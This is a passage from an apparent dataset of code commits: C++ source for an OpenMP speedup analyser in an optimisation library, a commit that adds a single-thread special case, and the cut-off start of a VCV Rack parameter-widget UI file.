Speedup:             \" << pass::number_of_threads() << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n\n  std::cout << \" ============================= Start Evaluation =========================== \" << std::endl;\n\n  double your_time = pass::problem_evaluation_time(problem);\n\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \" Evaluation time: \" << your_time * 1e-3 << \" microseconds.\" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \" ============================= End Evaluation  ============================ \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n\n  arma::mat summary;\n  arma::rowvec model;\n\n  \/\/ Check if the file exists\n  bool ok = model.load(\".\/openmp_model.pass\");\n\n  if (ok == false)\n  {\n    std::cout << \" - Model does not exist                                                     \" << std::endl;\n    std::cout << \"                                                                            \" << std::endl;\n    \/\/ Start training the data\n    summary = train(30);\n    model = build_model(summary);\n  }\n  else\n  {\n    std::cout << \"                                                                            \" << std::endl;\n    std::cout << \" - Model exists                                                             \" << std::endl;\n    std::cout << \"                                                                            \" << std::endl;\n  }\n\n  std::cout << \" ========================= Start SpeedUp Prediction ======================= \" << std::endl;\n\n  \/\/ Generating a regression object\n  pass::regression r;\n\n  if (model.n_elem == 3)\n  {\n    double predict_linear = r.predict_linear(your_time, model);\n\n    if (predict_linear > 0.9 * pass::number_of_threads())\n    {\n      predict_linear = 0.9 * pass::number_of_threads();\n    }\n    std::cout << \"                                                                            \" << std::endl;\n    std::cout << \" Your speedUp would be approximately: \" << predict_linear << std::endl;\n\n    std::cout << \"                                                                            \" << std::endl;\n    std::cout << \" ========================== Done SpeedUp Prediction ======================= \" << std::endl;\n\n    if (predict_linear > pass::number_of_threads() \/ 2) \/\/ efficienty is more than 50 %\n    {\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" You should activate openMP!                                                \" << std::endl;\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" =========================  Done openMP Analyse  ========================== \" << std::endl;\n      return true;\n    }\n    if (predict_linear < 1) \/\/ is efficienty is more than 50 %\n    {\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" You should NOT activate openMP!                                            \" << std::endl;\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" =========================  Done openMP Analyse  ========================== \" << std::endl;\n      return false;\n    }\n    if (predict_linear > 1 && predict_linear < pass::number_of_threads() \/ 2) \/\/ efficienty is less than 50 %\n    {\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" You should decide yourself if to activate openMP or not!                   \" << std::endl;\n      std::cout << \"                                                                            \" << std::endl;\n    }\n  }\n  else\n  {\n    double predict_poly = r.predict_poly(your_time, model);\n\n    if (predict_poly > 0.9 * pass::number_of_threads())\n    {\n      predict_poly = 0.9 * pass::number_of_threads();\n    }\n    std::cout << \"                                                                            \" << std::endl;\n    std::cout << \" Your speedUp would be approximately: \" << predict_poly << std::endl;\n    std::cout << \"                                                                            \" << std::endl;\n    std::cout << \" ========================== Done SpeedUp Prediction ======================= \" << std::endl;\n\n    if (predict_poly > pass::number_of_threads() \/ 2) \/\/ is efficienty is more than 50 %\n    {\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" You should activate openMP!                                                \" << std::endl;\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" =========================  Done openMP Analyse  ========================== \" << std::endl;\n      return true;\n    }\n    if (predict_poly < 1) \/\/ is efficienty is more than 50 %\n    {\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" You should NOT activate openMP!                                            \" << std::endl;\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" =========================  Done openMP Analyse  ========================== \" << std::endl;\n      return false;\n    }\n    if (predict_poly > 1 && predict_poly < pass::number_of_threads() \/ 2) \/\/ is efficienty is more than 50 %\n    {\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" You should decide yourself if to activate openMP or not!                   \" << std::endl;\n      std::cout << \"                                                                            \" << std::endl;\n    }\n  }\n\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \" =========================  Done openMP Analyse  ========================== \" << std::endl;\n\n  return true;\n}\n\narma::mat pass::train(const int &examples)\n{\n  \/\/ define the maximum of runs\n  arma::uword alg_runs = 2;\n\n  \/\/ Array including all alg runtime, we want to test\n  \/\/std::array<int, 30> repetitions = {1, 2, 3, 80, 100, 140, 180, 190, 90, 100, 110, 120, 130, 160, 200, 240, 330, 333, 436,\n  \/\/                                   2, 45, 50, 60, 70, 80, 100, 120, 140, 160};\n\n  arma::rowvec repetitions = pass::integers_uniform_in_range(1, 5000, examples);\n\n  \/\/ Output information\n  std::cout << \" ============================= Start Trainining =========================== \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n\n  arma::vec serial(alg_runs);\n  arma::vec parallel(alg_runs);\n\n  arma::mat summary(2, repetitions.size());\n\n  std::srand(time(0));\n  int count = 0;\n\n  pass::particle_swarm_optimisation algorithm_serial;\n  \/\/algorithm_serial.maximal_duration = std::chrono::seconds(5);\n  algorithm_serial.maximal_iterations = 200;\n\n  pass::parallel_swarm_search algorithm_parallel;\n  \/\/algorithm_parallel.maximal_duration = std::chrono::seconds(5);\n  algorithm_parallel.maximal_iterations = 200;\n\n  repetitions = arma::sort(repetitions);\n\n  for (int repetition : repetitions)\n  {\n    \/\/ Problem initialisation\n    pass::de_jong_function test_problem(10);\n    pass::evaluation_time_stall simulated_problem(test_problem);\n    simulated_problem.repetitions = repetition;\n\n    std::cout << \"Repetion: \" << repetition << std::endl;\n\n    double ev_time = pass::problem_evaluation_time(simulated_problem);\n    summary(0, count) = ev_time;\n\n    \/\/ Do the evaluation for serial and parallel for all the evaluations values\n    for (arma::uword serial_run = 0; serial_run < alg_runs; ++serial_run)\n    {\n      pass::optimise_result serial_alg = algorithm_serial.optimise(simulated_problem);\n      \/\/serial(serial_run) = serial_alg.evaluations;\n      serial(serial_run) = serial_alg.duration.count();\n      usleep(1000000);\n    }\n\n    for (arma::uword parallel_run = 0; parallel_run < alg_runs; ++parallel_run)\n    {\n      optimise_result parallel_alg = algorithm_parallel.optimise(simulated_problem);\n      \/\/parallel(parallel_run) = parallel_alg.evaluations;\n      parallel(parallel_run) = parallel_alg.duration.count();\n      usleep(1000000);\n    }\n\n    summary(1, count) = arma::mean(serial) \/ arma::mean(parallel);\n\n    count++;\n\n    \/\/ load bar\n    double temp_count = static_cast<double>(examples) \/ static_cast<double>(count);\n    std::cout << \" \\r \" << 100.0 \/ temp_count << \" % completed.\" << std::flush;\n  }\n\n  std::cout << std::endl\n            << std::endl\n            << \" Training completed successfully.\\n\"\n            << std::flush;\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \" ===========================  End Training  =============================== \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n\n  std::cout << \"Summary: \\n\"\n            << summary << std::endl;\n  return summary;\n}\n\narma::rowvec pass::build_model(const arma::mat &training_points)\n{\n  \/\/ File to save the model\n  std::string file_name;\n  file_name = \"openmp_model.pass\";\n\n  \/\/ Generating a regression object\n  pass::regression r;\n\n  \/\/ Getting the data for the model\n  arma::rowvec x_values = training_points.row(0);\n  arma::rowvec y_values = training_points.row(1);\n\n  \/\/ Output information\n  std::cout << \" =========================== Start Building Models ======================== \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \" Building linear model for the training data.                               \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n\n  \/\/ Generating the linear model\n\n  arma::rowvec linear_model = r.linear_model(x_values, y_values);\n\n  if (linear_model(2) >= 0.9)\n  {\n    std::cout << \" Finished building linear model.                                            \" << std::endl;\n    std::cout << \"                                                                            \" << std::endl;\n    std::cout << \" Linear Model is suitable.                                                  \" << std::endl;\n    std::cout << \"                                                                            \" << std::endl;\n    std::cout << \" ========================= Done Building Models  ========================== \" << std::endl;\n    std::cout << \"                                                                            \" << std::endl;\n\n    linear_model.save(\".\/\" + file_name, arma::raw_ascii);\n\n    return linear_model;\n  }\n\n  std::cout << \" Finished building linear model.                                            \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \" Linear Model is NOT suitable.                                              \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \" Building polynomial model for the training data.                           \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n\n  arma::rowvec poly_model = r.poly_model(x_values, y_values, 3);\n  std::cout << \" ========================= Done Building Models  ========================== \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n\n  poly_model.save(\".\/\" + file_name, arma::raw_ascii);\n\n  return poly_model;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"pass_bits\/analyser\/openmp.hpp\"\n#include \"pass_bits\/problem\/space_mission\/gtoc1.hpp\"\n#include \"pass_bits\/problem\/optimisation_benchmark\/de_jong_function.hpp\"\n#include \"pass_bits\/helper\/evaluation_time_stall.hpp\"\n#include \"pass_bits\/optimiser\/parallel_swarm_search.hpp\"\n#include \"pass_bits\/optimiser\/particle_swarm_optimisation.hpp\"\n#include \"pass_bits\/analyser\/problem_evaluation_time.hpp\"\n#include \"pass_bits\/helper\/regression.hpp\"\n#include \"pass_bits\/helper\/random.hpp\"\n#include <unistd.h> \/\/ usleep\n#include <iomanip>  \/\/ setprecision, setfill\n\nbool pass::enable_openmp(const pass::problem &problem)\n{\n  \/\/ Output information\n  std::cout << \" =========================== Start openMP Analyse ========================= \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \" Your Problem:                \" << problem.name << std::endl;\n  std::cout << \" Dimension:                   \" << problem.dimension() << std::endl;\n  std::cout << \" Number of Threads:           \" << pass::number_of_threads() << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n\n  std::cout << \" ============================= Start Evaluation =========================== \" << std::endl;\n\n  double your_time = pass::problem_evaluation_time(problem);\n\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \" Evaluation time: \" << your_time * 1e-3 << \" microseconds.\" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \" ============================= End Evaluation  ============================ \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n\n  arma::mat summary;\n  arma::rowvec model;\n\n  \/\/ Check if the file exists\n  bool ok = model.load(\".\/openmp_model.pass\");\n\n  if (ok == false)\n  {\n    std::cout << \" - Model does not exist                                                     \" << std::endl;\n    std::cout << \"                                                                            \" << std::endl;\n    \/\/ Start training + build model\n    summary = train(120);\n    model = build_model(summary);\n  }\n  else\n  {\n    std::cout << \" - Model exists                                                             \" << std::endl;\n    std::cout << \"                                                                            \" << std::endl;\n  }\n\n  std::cout << \" ========================= Start SpeedUp Prediction ======================= \" << std::endl;\n\n  \/\/ Generating a regression object\n  pass::regression r;\n\n  if (model.n_elem == 3)\n  {\n    double predict_linear = r.predict_linear(your_time, model);\n\n    if (predict_linear > 0.9 * pass::number_of_threads())\n    {\n      predict_linear = 0.9 * pass::number_of_threads();\n    }\n    std::cout << \"                                                                            \" << std::endl;\n    std::cout << \" Your speedUp will be approximately:  \" << predict_linear << std::endl;\n\n    std::cout << \"                                                                            \" << std::endl;\n    std::cout << \" ========================== Done SpeedUp Prediction ======================= \" << std::endl;\n\n    if (predict_linear >= pass::number_of_threads() * 0.5) \/\/ efficienty is more than 50 %\n    {\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" You should activate openMP!                                                \" << std::endl;\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" =========================  Done openMP Analyse  ========================== \" << std::endl;\n      return true;\n    }\n    if (predict_linear <= pass::number_of_threads() * 0.2) \/\/ efficienty is less than 20 %\n    {\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" You should NOT activate openMP!                                            \" << std::endl;\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" =========================  Done openMP Analyse  ========================== \" << std::endl;\n      return false;\n    }\n    if (predict_linear > pass::number_of_threads() * 0.2 && predict_linear < pass::number_of_threads() * 0.5)\n    {\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" Decide yourself if to activate openMP or not!                              \" << std::endl;\n      std::cout << \"                                                                            \" << std::endl;\n    }\n  }\n  else\n  {\n    double predict_poly = r.predict_poly(your_time, model);\n\n    if (predict_poly > 0.9 * pass::number_of_threads())\n    {\n      predict_poly = 0.9 * pass::number_of_threads();\n    }\n    std::cout << \"                                                                            \" << std::endl;\n    std::cout << \" Your speedUp will be approximately: \" << predict_poly << std::endl;\n    std::cout << \"                                                                            \" << std::endl;\n    std::cout << \" ========================== Done SpeedUp Prediction ======================= \" << std::endl;\n\n    if (predict_poly >= pass::number_of_threads() * 0.5) \/\/ is efficienty is more than 50 %\n    {\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" You should activate openMP!                                                \" << std::endl;\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" =========================  Done openMP Analyse  ========================== \" << std::endl;\n      return true;\n    }\n    if (predict_poly <= pass::number_of_threads() * 0.2) \/\/ efficienty is less than 20 %\n    {\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" You should NOT activate openMP!                                            \" << std::endl;\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" =========================  Done openMP Analyse  ========================== \" << std::endl;\n      return false;\n    }\n    if (predict_poly > pass::number_of_threads() * 0.2 && predict_poly < pass::number_of_threads() * 0.5)\n    {\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" Decide yourself if to activate openMP or not!                              \" << std::endl;\n    }\n  }\n\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \" =========================  Done openMP Analyse  ========================== \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n\n  return true;\n}\n\narma::mat pass::train(const int &examples)\n{\n  \/\/ Output information\n  std::cout << \" ============================= Start Trainining =========================== \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n\n  \/\/ define the maximum of runs\n  arma::uword alg_runs = 2;\n  int max_iter = 200;\n\n  arma::rowvec repetitions = pass::integers_uniform_in_range(1, 20000, examples);\n\n  arma::vec serial(alg_runs);\n  arma::vec parallel(alg_runs);\n\n  arma::mat summary(2, repetitions.size());\n\n  pass::particle_swarm_optimisation algorithm_serial;\n  algorithm_serial.maximal_iterations = max_iter;\n\n  pass::parallel_swarm_search algorithm_parallel;\n  algorithm_parallel.maximal_iterations = max_iter;\n\n  repetitions = arma::sort(repetitions);\n\n  arma::uword count = 0;\n  for (arma::uword repetition : repetitions)\n  {\n    \/\/ Problem initialisation\n    pass::de_jong_function test_problem(10);\n    pass::evaluation_time_stall simulated_problem(test_problem);\n    simulated_problem.repetitions = repetition;\n\n    double ev_time = pass::problem_evaluation_time(simulated_problem);\n    summary(0, count) = ev_time;\n\n    \/\/ Do the evaluation for serial and parallel for all the evaluations values\n    for (arma::uword serial_run = 0; serial_run < alg_runs; ++serial_run)\n    {\n      pass::optimise_result serial_alg = algorithm_serial.optimise(simulated_problem);\n      serial(serial_run) = serial_alg.duration.count();\n      usleep(1000000);\n    }\n\n    for (arma::uword parallel_run = 0; parallel_run < alg_runs; ++parallel_run)\n    {\n      optimise_result parallel_alg = algorithm_parallel.optimise(simulated_problem);\n      parallel(parallel_run) = parallel_alg.duration.count();\n      usleep(1000000);\n    }\n\n    summary(1, count) = arma::mean(serial) \/ arma::mean(parallel);\n\n    count++;\n\n    \/\/ load bar\n    double temp_count = static_cast<double>(examples) \/ static_cast<double>(count);\n    std::cout << std::fixed << std::setprecision(2) << std::setfill(' ');\n    std::cout << \" \\r \" << 100.0 \/ temp_count << \" % completed.\" << std::flush;\n  }\n\n  std::cout << std::endl\n            << std::endl\n            << \" Training completed successfully.\\n\"\n            << std::flush;\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \" ===========================  End Training  =============================== \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n\n  return summary;\n}\n\narma::rowvec pass::build_model(const arma::mat &training_points)\n{\n  \/\/ File to save the model\n  std::string file_name;\n  file_name = \"openmp_model.pass\";\n\n  \/\/ Generating a regression object\n  pass::regression r;\n\n  \/\/ Getting the data for the model\n  arma::rowvec x_values = training_points.row(0);\n  arma::rowvec y_values = training_points.row(1);\n\n  \/\/ Output information\n  std::cout << \" =========================== Start Building Models ======================== \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \" Building linear model for the training data.                               \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n\n  \/\/ Generating the linear model\n  arma::rowvec linear_model = r.linear_model(x_values, y_values);\n\n  if (linear_model(2) >= 0.9)\n  {\n    std::cout << \" Finished building linear model.                                            \" << std::endl;\n    std::cout << \"                                                                            \" << std::endl;\n    std::cout << \" Linear Model is suitable.                                                  \" << std::endl;\n    std::cout << \"                                                                            \" << std::endl;\n    std::cout << \" ========================= Done Building Models  ========================== \" << std::endl;\n    std::cout << \"                                                                            \" << std::endl;\n\n    linear_model.save(\".\/\" + file_name, arma::raw_ascii);\n\n    return linear_model;\n  }\n\n  std::cout << \" Finished building linear model.                                            \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \" Linear Model is NOT suitable.                                              \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \" Building polynomial model.                                                 \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n\n  arma::rowvec poly_model = r.poly_model(x_values, y_values, 3);\n\n  std::cout << \" ========================= Done Building Models  ========================== \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n\n  poly_model.save(\".\/\" + file_name, arma::raw_ascii);\n\n  return poly_model;\n}\n<commit_msg>include special case<commit_after>#include \"pass_bits\/analyser\/openmp.hpp\"\n#include \"pass_bits\/problem\/space_mission\/gtoc1.hpp\"\n#include \"pass_bits\/problem\/optimisation_benchmark\/de_jong_function.hpp\"\n#include \"pass_bits\/helper\/evaluation_time_stall.hpp\"\n#include \"pass_bits\/optimiser\/parallel_swarm_search.hpp\"\n#include \"pass_bits\/optimiser\/particle_swarm_optimisation.hpp\"\n#include \"pass_bits\/analyser\/problem_evaluation_time.hpp\"\n#include \"pass_bits\/helper\/regression.hpp\"\n#include \"pass_bits\/helper\/random.hpp\"\n#include <unistd.h> \/\/ usleep\n#include <iomanip>  \/\/ setprecision, setfill\n\nbool pass::enable_openmp(const pass::problem &problem)\n{\n  \/\/ Output information\n  std::cout << \" =========================== Start openMP Analyse ========================= \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \" Your Problem:                \" << problem.name << std::endl;\n  std::cout << \" Dimension:                   \" << problem.dimension() << std::endl;\n  std::cout << \" Number of Threads:           \" << pass::number_of_threads() << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n\n  if (pass::number_of_threads() == 1)\n  {\n    std::cout << \" - You have only one thread! openMP is not possible! \" << std::endl;\n    std::cout << \"                                                                            \" << std::endl;\n    std::cout << \" =========================  Done openMP Analyse  ========================== \" << std::endl;\n    return false;\n  }\n\n  std::cout << \" ============================= Start Evaluation =========================== \" << std::endl;\n\n  double your_time = pass::problem_evaluation_time(problem);\n\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \" Evaluation time: \" << your_time * 1e-3 << \" microseconds.\" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \" ============================= End Evaluation  ============================ \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n\n  arma::mat summary;\n  arma::rowvec model;\n\n  \/\/ Check if the file exists\n  bool ok = model.load(\".\/openmp_model.pass\");\n\n  if (ok == false)\n  {\n    std::cout << \" - Model does not exist                                                     \" << std::endl;\n    std::cout << \"                                                                            \" << std::endl;\n    \/\/ Start training + build model\n    summary = train(120);\n    model = build_model(summary);\n  }\n  else\n  {\n    std::cout << \" - Model exists                                                             \" << std::endl;\n    std::cout << \"                                                                            \" << std::endl;\n  }\n\n  std::cout << \" ========================= Start SpeedUp Prediction ======================= \" << std::endl;\n\n  \/\/ Generating a regression object\n  pass::regression r;\n\n  if (model.n_elem == 3)\n  {\n    double predict_linear = r.predict_linear(your_time, model);\n\n    if (predict_linear > 0.9 * pass::number_of_threads())\n    {\n      predict_linear = 0.9 * pass::number_of_threads();\n    }\n    std::cout << \"                                                                            \" << std::endl;\n    std::cout << \" Your speedUp will be approximately:  \" << predict_linear << std::endl;\n\n    std::cout << \"                                                                            \" << std::endl;\n    std::cout << \" ========================== Done SpeedUp Prediction ======================= \" << std::endl;\n\n    if (predict_linear >= pass::number_of_threads() * 0.5) \/\/ efficienty is more than 50 %\n    {\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" You should activate openMP!                                                \" << std::endl;\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" =========================  Done openMP Analyse  ========================== \" << std::endl;\n      return true;\n    }\n    if (predict_linear <= pass::number_of_threads() * 0.2) \/\/ efficienty is less than 20 %\n    {\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" You should NOT activate openMP!                                            \" << std::endl;\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" =========================  Done openMP Analyse  ========================== \" << std::endl;\n      return false;\n    }\n    if (predict_linear > pass::number_of_threads() * 0.2 && predict_linear < pass::number_of_threads() * 0.5)\n    {\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" Decide yourself if to activate openMP or not!                              \" << std::endl;\n      std::cout << \"                                                                            \" << std::endl;\n    }\n  }\n  else\n  {\n    double predict_poly = r.predict_poly(your_time, model);\n\n    if (predict_poly > 0.9 * pass::number_of_threads())\n    {\n      predict_poly = 0.9 * pass::number_of_threads();\n    }\n    std::cout << \"                                                                            \" << std::endl;\n    std::cout << \" Your speedUp will be approximately: \" << predict_poly << std::endl;\n    std::cout << \"                                                                            \" << std::endl;\n    std::cout << \" ========================== Done SpeedUp Prediction ======================= \" << std::endl;\n\n    if (predict_poly >= pass::number_of_threads() * 0.5) \/\/ is efficienty is more than 50 %\n    {\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" You should activate openMP!                                                \" << std::endl;\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" =========================  Done openMP Analyse  ========================== \" << std::endl;\n      return true;\n    }\n    if (predict_poly <= pass::number_of_threads() * 0.2) \/\/ efficienty is less than 20 %\n    {\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" You should NOT activate openMP!                                            \" << std::endl;\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" =========================  Done openMP Analyse  ========================== \" << std::endl;\n      return false;\n    }\n    if (predict_poly > pass::number_of_threads() * 0.2 && predict_poly < pass::number_of_threads() * 0.5)\n    {\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" Decide yourself if to activate openMP or not!                              \" << std::endl;\n    }\n  }\n\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \" =========================  Done openMP Analyse  ========================== \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n\n  return true;\n}\n\narma::mat pass::train(const int &examples)\n{\n  \/\/ Output information\n  std::cout << \" ============================= Start Trainining =========================== \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n\n  \/\/ define the maximum of runs\n  arma::uword alg_runs = 2;\n  int max_iter = 200;\n\n  arma::rowvec repetitions = pass::integers_uniform_in_range(1, 20000, examples);\n\n  arma::vec serial(alg_runs);\n  arma::vec parallel(alg_runs);\n\n  arma::mat summary(2, repetitions.size());\n\n  pass::particle_swarm_optimisation algorithm_serial;\n  algorithm_serial.maximal_iterations = max_iter;\n\n  pass::parallel_swarm_search algorithm_parallel;\n  algorithm_parallel.maximal_iterations = max_iter;\n\n  repetitions = arma::sort(repetitions);\n\n  arma::uword count = 0;\n  for (arma::uword repetition : repetitions)\n  {\n    \/\/ Problem initialisation\n    pass::de_jong_function test_problem(10);\n    pass::evaluation_time_stall simulated_problem(test_problem);\n    simulated_problem.repetitions = repetition;\n\n    double ev_time = pass::problem_evaluation_time(simulated_problem);\n    summary(0, count) = ev_time;\n\n    \/\/ Do the evaluation for serial and parallel for all the evaluations values\n    for (arma::uword serial_run = 0; serial_run < alg_runs; ++serial_run)\n    {\n      pass::optimise_result serial_alg = algorithm_serial.optimise(simulated_problem);\n      serial(serial_run) = serial_alg.duration.count();\n      usleep(1000000);\n    }\n\n    for (arma::uword parallel_run = 0; parallel_run < alg_runs; ++parallel_run)\n    {\n      optimise_result parallel_alg = algorithm_parallel.optimise(simulated_problem);\n      parallel(parallel_run) = parallel_alg.duration.count();\n      usleep(1000000);\n    }\n\n    summary(1, count) = arma::mean(serial) \/ arma::mean(parallel);\n\n    count++;\n\n    \/\/ load bar\n    double temp_count = static_cast<double>(examples) \/ static_cast<double>(count);\n    std::cout << std::fixed << std::setprecision(2) << std::setfill(' ');\n    std::cout << \" \\r \" << 100.0 \/ temp_count << \" % completed.\" << std::flush;\n  }\n\n  std::cout << std::endl\n            << std::endl\n            << \" Training completed successfully.\\n\"\n            << std::flush;\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \" ===========================  End Training  =============================== \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n\n  return summary;\n}\n\narma::rowvec pass::build_model(const arma::mat &training_points)\n{\n  \/\/ File to save the model\n  std::string file_name;\n  file_name = \"openmp_model.pass\";\n\n  \/\/ Generating a regression object\n  pass::regression r;\n\n  \/\/ Getting the data for the model\n  arma::rowvec x_values = training_points.row(0);\n  arma::rowvec y_values = training_points.row(1);\n\n  \/\/ Output information\n  std::cout << \" =========================== Start Building Models ======================== \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \" Building linear model for the training data.                               \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n\n  \/\/ Generating the linear model\n  arma::rowvec linear_model = r.linear_model(x_values, y_values);\n\n  if (linear_model(2) >= 0.9)\n  {\n    std::cout << \" Finished building linear model.                                            \" << std::endl;\n    std::cout << \"                                                                            \" << std::endl;\n    std::cout << \" Linear Model is suitable.                                                  \" << std::endl;\n    std::cout << \"                                                                            \" << std::endl;\n    std::cout << \" ========================= Done Building Models  ========================== \" << std::endl;\n    std::cout << \"                                                                            \" << std::endl;\n\n    linear_model.save(\".\/\" + file_name, arma::raw_ascii);\n\n    return linear_model;\n  }\n\n  std::cout << \" Finished building linear model.                                            \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \" Linear Model is NOT suitable.                                              \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \" Building polynomial model.                                                 \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n\n  arma::rowvec poly_model = r.poly_model(x_values, y_values, 3);\n\n  std::cout << \" ========================= Done Building Models  ========================== \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n\n  poly_model.save(\".\/\" + file_name, arma::raw_ascii);\n\n  return poly_model;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <app\/ParamWidget.hpp>\n#include <ui\/MenuOverlay.hpp>\n#include <ui\/TextField.hpp>\n#include <app\/Scene.hpp>\n#include <app.hpp>\n#include <engine\/Engine.hpp>\n#include <settings.hpp>\n#include <history.hpp>\n#include <helpers.hpp>\n\n\nnamespace rack {\nnamespace app {\n\n\nstruct ParamField : ui::TextField {\n\tParamWidget* paramWidget;\n\n\tvoid step() override {\n\t\t\/\/ Keep selected\n\t\tAPP->event->setSelected(this);\n\t\tTextField::step();\n\t}\n\n\tvoid setParamWidget(ParamWidget* paramWidget) {\n\t\tthis->paramWidget = paramWidget;\n\t\tif (paramWidget->paramQuantity)\n\t\t\ttext = paramWidget->paramQuantity->getDisplayValueString();\n\t\tselectAll();\n\t}\n\n\tvoid onSelectKey(const event::SelectKey& e) override {\n\t\tif (e.action == GLFW_PRESS && (e.key == GLFW_KEY_ENTER || e.key == GLFW_KEY_KP_ENTER)) {\n\t\t\tfloat oldValue = paramWidget->paramQuantity->getValue();\n\t\t\tif (paramWidget->paramQuantity)\n\t\t\t\tparamWidget->paramQuantity->setDisplayValueString(text);\n\t\t\tfloat newValue = paramWidget->paramQuantity->getValue();\n\n\t\t\tif (oldValue != newValue) {\n\t\t\t\t\/\/ Push ParamChange history action\n\t\t\t\thistory::ParamChange* h = new history::ParamChange;\n\t\t\t\th->moduleId = paramWidget->paramQuantity->module->id;\n\t\t\t\th->paramId = paramWidget->paramQuantity->paramId;\n\t\t\t\th->oldValue = oldValue;\n\t\t\t\th->newValue = newValue;\n\t\t\t\tAPP->history->push(h);\n\t\t\t}\n\n\t\t\tui::MenuOverlay* overlay = getAncestorOfType<ui::MenuOverlay>();\n\t\t\toverlay->requestDelete();\n\t\t\te.consume(this);\n\t\t}\n\n\t\tif (!e.getTarget())\n\t\t\tTextField::onSelectKey(e);\n\t}\n};\n\n\nstruct ParamTooltip : ui::Tooltip {\n\tParamWidget* paramWidget;\n\n\tvoid step() override {\n\t\tif (paramWidget->paramQuantity) {\n\t\t\t\/\/ Quantity string\n\t\t\ttext = paramWidget->paramQuantity->getString();\n\t\t\t\/\/ Param description\n\t\t\tstd::string description = paramWidget->paramQuantity->description;\n\t\t\tif (!description.empty())\n\t\t\t\ttext += \"\\n\" + description;\n\t\t}\n\t\tTooltip::step();\n\t\t\/\/ Position at bottom-right of parameter\n\t\tbox.pos = paramWidget->getAbsoluteOffset(paramWidget->box.size).round();\n\t}\n};\n\n\nstruct ParamLabel : ui::MenuLabel {\n\tParamWidget* paramWidget;\n\tvoid step() override {\n\t\ttext = paramWidget->paramQuantity->getString();\n\t\tMenuLabel::step();\n\t}\n};\n\n\nstruct ParamResetItem : ui::MenuItem {\n\tParamWidget* paramWidget;\n\tvoid onAction(const event::Action& e) override 